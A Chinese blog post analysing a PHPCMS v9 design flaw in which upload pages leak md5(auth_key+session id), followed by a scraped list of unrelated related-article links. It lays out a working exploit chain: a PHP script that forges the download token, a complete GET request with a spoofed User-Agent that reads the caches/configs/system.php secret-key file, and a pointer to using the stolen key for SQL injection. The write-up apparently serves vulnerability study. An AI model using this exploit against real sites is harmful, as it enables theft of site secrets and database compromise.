在分析几个phpcms的漏洞就换分析其他的,换换口味。

漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html

swfupload上传页面输出了 MD5(auth_key+sess_id)。

函数位于 /phpcms/modules/attachment/functions/global.func.php 第45-91行

function initupload($module, $catid,$args, $userid, $groupid = '8', $isadmin = '0',$userid_flash='0'){
$grouplist = getcache('grouplist','member');
if($isadmin==0 && !$grouplist[$groupid]['allowattachment']) return false;
extract(getswfinit($args));
$siteid = param::get_cookie('siteid');
$site_setting = get_site_setting($siteid);
$file_size_limit = $site_setting['upload_maxsize'];
$sess_id = SYS_TIME;
$admin_url = pc_base::load_config('system','admin_url');
$upload_path = empty($admin_url) ? APP_PATH : 'http://'.$admin_url.'/';
$swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id);
$init = 'var swfu = \'\';
$(document).ready(function(){
swfu = new SWFUpload({
flash_url:"'.JS_PATH.'swfupload/swfupload.swf?"+Math.random(),
upload_url:"'.$upload_path.'index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",
file_post_name : "Filedata",
post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"},
file_size_limit:"'.$file_size_limit.'",
file_types:"'.$file_types.'",
file_types_description:"All Files",
file_upload_limit:"'.$file_upload_limit.'",
custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"}, button_image_url: "",
button_width: 75,
button_height: 28,
button_placeholder_id: "buttonPlaceHolder",
button_text_style: "",
button_text_top_padding: 3,
button_text_left_padding: 12,
button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
button_cursor: SWFUpload.CURSOR.HAND, file_dialog_start_handler : fileDialogStart,
file_queued_handler : fileQueued,
file_queue_error_handler:fileQueueError,
file_dialog_complete_handler:fileDialogComplete,
upload_progress_handler:uploadProgress,
upload_error_handler:uploadError,
upload_success_handler:uploadSuccess,
upload_complete_handler:uploadComplete
});
})';
return $init;
}

  可以看到$init参数的值为一段js代码。

看到这里:post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"},

混杂着$sess_id和$swf_auth_key的值

在跟踪到上面去$swf_auth_key的值。$swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id);

$swf_auth_key是由auth_key和$sess_id联合在一起共同进行md5加密。并且$swf_auth_key,$sess_id都输出到页面上了。

跟踪这整个函数,看看哪里引用了。

限制:在线投稿(需要后台开启)

在发布投稿的时候,有个图片上传,url就位于那里。

查看源码就能看到输出在页面的值了。

记录下来两个值。

接着看到第二个漏洞点。

位于 /phpcms/modules/content/down.php  第83-124行。

	public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
file_down($fileurl, $filename);
}
}
}

  看到开头的这句话:$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);

利用auth_key和HTTP_USER_AGENT进行加密。UA我们本地是可以控制的,所以我们可以让UA的值与$sess_id的值相同,然后$pc_auth_key 我们也是知道的。

看到这句,$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);

$a_k是利用GET过来的,$pc_auth_key我们又是知道的,所以我们可以本地生成经过加密$a_k的值

<?php
include '/Applications/MAMP/htdocs/phpcms_v9.5.8/phpsso_server/phpcms/libs/functions/global.func.php';
echo sys_auth('i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp', 'ENCODE', '12d92ed5288d3779cbbc21050a2872c7');
?>

  先包含sys_auth函数,然后构造我们要下载的文件地址。

上面的那些参数是download函数需要的,具体的解释在以前文章有个这里的windows下任意文件相同

s和f参数,利用拼接来绕过检查,也就是这句:if($m) $fileurl = trim($s).trim($fileurl);

然后就能读取任意文件啦。

GET /phpcms_v9.5.8/index.php?m=content&c=down&a=download&a_k=4a24vbaImAul-EwWcTrYs7wE7j5Urx5t4oU732dLThlYS7A3T-z8Wx31XLBrijP0c6yi0MxacTEGBpGIc6w-t52fF-yPcyQv5O9aZCvLQxseCnyLPytVPcArzKYcBMEEhwiLu8pcvAmZ_ZDiO-YSI5d1MshWeQ6qo2LPi7-DaRpawVQ HTTP/1.1
Host: phpstudy.com
User-Agent: 1495713362

a_k的值是php文件加密来的,需要替换,UA是$sess_id的值,也是需要替换。

读取到的文件caches/configs/system.php 为网站放置auth_key的php文件。

有了这个auth_key,我们就能在本地混合sql语句然后加密auth_key,网站进行解码以后输出sql语句来绕过检查,然后对网站进行注入等操作,具体可以看http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0106892.html,或者bobao.360.cn 发的phpcmsv9.6.2的注入文章。

PHPCMS某处设计缺陷可致authkey泄露的更多相关文章

  1. 转:Javascript的10个设计缺陷

    作者: 阮一峰 日期: 2011年6月30日 前几篇文章,我经常说Javascript的设计不够严谨,有很多失误. 今天的这一篇,前半部分就谈为什么会这样,后半部分将列举Javascript的10个设 ...

  2. SSLv3存在严重设计缺陷漏洞(CVE-2014-3566)

    SSLv3存在严重设计缺陷漏洞(CVE-2014-3566) 1.引发问题的原因 SSLv3漏洞(CVE-2014-3566),该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等 ...

  3. 为什么Javascript有设计缺陷

    1. 设计阶段过于仓促 Javascript的设计,其实只用了十天.而且,设计师是为了向公司交差,本人并不愿意这样设计(参见<Javascript诞生记>). 另一方面,这种语言的设计初衷 ...

  4. JavaScript中变量提升是语言设计缺陷

    首先纠正下,文章标题里的 “变量提升” 名词是随大流叫法,“变量提升” 改为 “标识符提升” 更准确.因为变量一般指使用 var 声明的标识符,JS 里使用 function 声明的标识符也存在提升( ...

  5. datagrid直接编辑保存“设计缺陷”

    当今使用easyUI的datagrid组件的时候,碰到了一些问题,记录下来以便下次高速解决. 需求是在一张表单里会关联有一个列表,能够增删查改 曾经没用easyUI的时候,这个增和改的页面我通常是用一 ...

  6. Android4.0 Design之UI设计缺陷1

    我想成为Android卓越发展project联赛,不知道Android它如何设计规则,Android4.0谷歌公司的问世后Android一系列的设计原则,程序猿规范,不要盲目模仿IOS它的设计,由于A ...

  7. Intel 设计缺陷背后的原因是什么? | Linux 中国

    版权声明:本文为博主原创文章.未经博主同意不得转载. https://blog.csdn.net/F8qG7f9YD02Pe/article/details/79386769 wx_fmt=jpeg& ...

  8. AutoResetEvent 方法名称设计缺陷

    这个类和方法,让人乍一读是读不明白的.不能通过方法名称明白其含义.所以它的方法名称设计是欠考虑. 应该类似于这样: public static class MyAutoResetEvent { pub ...

  9. Thinkphp 5.0.15 设计缺陷导致Insert/update-SQL注入 分析

    分析 与上一个漏洞类似,这个也是前端可以传入一个数组变量,如['exp','123','123'],后端根据array[0]来将array[1]和array[2]直接拼接到SQL语句中. 由于TP只是 ...

随机推荐

  1. Python读取配置文件,并连接数据库SQL Server

    用配置文件保存固定的连接数据,改的话比较方便. 1.新建一个配置文件:SQlconfig.config,以数据库为例. 内容如下,当然也可以添加多个 [Database1] database=db_t ...

  2. 《统计学习方法》P89页IIS的中间步骤Zw+δ(X)/Zw(X)的推导

    共有两个方法:

  3. 第2次作业:Wechat创作史

    Wechat创作史   比尔盖茨曾经说过一句话:21世纪要么电子商务,要么无商可务. 2.1 介绍产品相关信息 -the information about Wechat 你选择的产品是? 选择微信作 ...

  4. Beta Scrum Day 5

    听说

  5. C语言博客作业--一二维数组。

    一.PTA实验作业 题目1:7-1 将数组中的数逆序存放 1. 本题PTA提交列表 2. 设计思路 定义三个整型变量n用来存放整数个数i,j是循环数 scanf("%d",& ...

  6. 关于python中argsort()函数的使用

    在实现<机器学习实战>中kNN代码时遇到需要将计算好的距离进行排序,即可使用argsort()函数,在此依据个人理解对该函数进行简单的介绍. 总的来说,argsort()函数是对数组中的元 ...

  7. NetFPGA-1G-CML Demo --- reference_router_nf1_cml

    环境 deepin 15.4 vivado 15.2 ise 14.6 前期准备 Github Wiki链接:https://github.com/NetFPGA/NetFPGA-public/wik ...

  8. Scrum 冲刺 第一日

    Scrum 冲刺 第一日 站立式会议 燃尽图 Alpha 阶段认领任务 明日任务安排 项目预期任务量 成员贡献值计算规则 今日贡献量 参考资料 站立式会议 返回目录 燃尽图 返回目录 Alpha 阶段 ...

  9. Spark性能优化总结

    1. 避免重复加载RDD 比如一份从HDFS中加载的数据 val rdd1 = sc.textFile("hdfs://url:port/test.txt"),这个test.txt ...

  10. Linq 集合操作符 Except,Intersect,Union

    IList<string> s1 = new List<string>() { "One", "Two", "Three&qu ...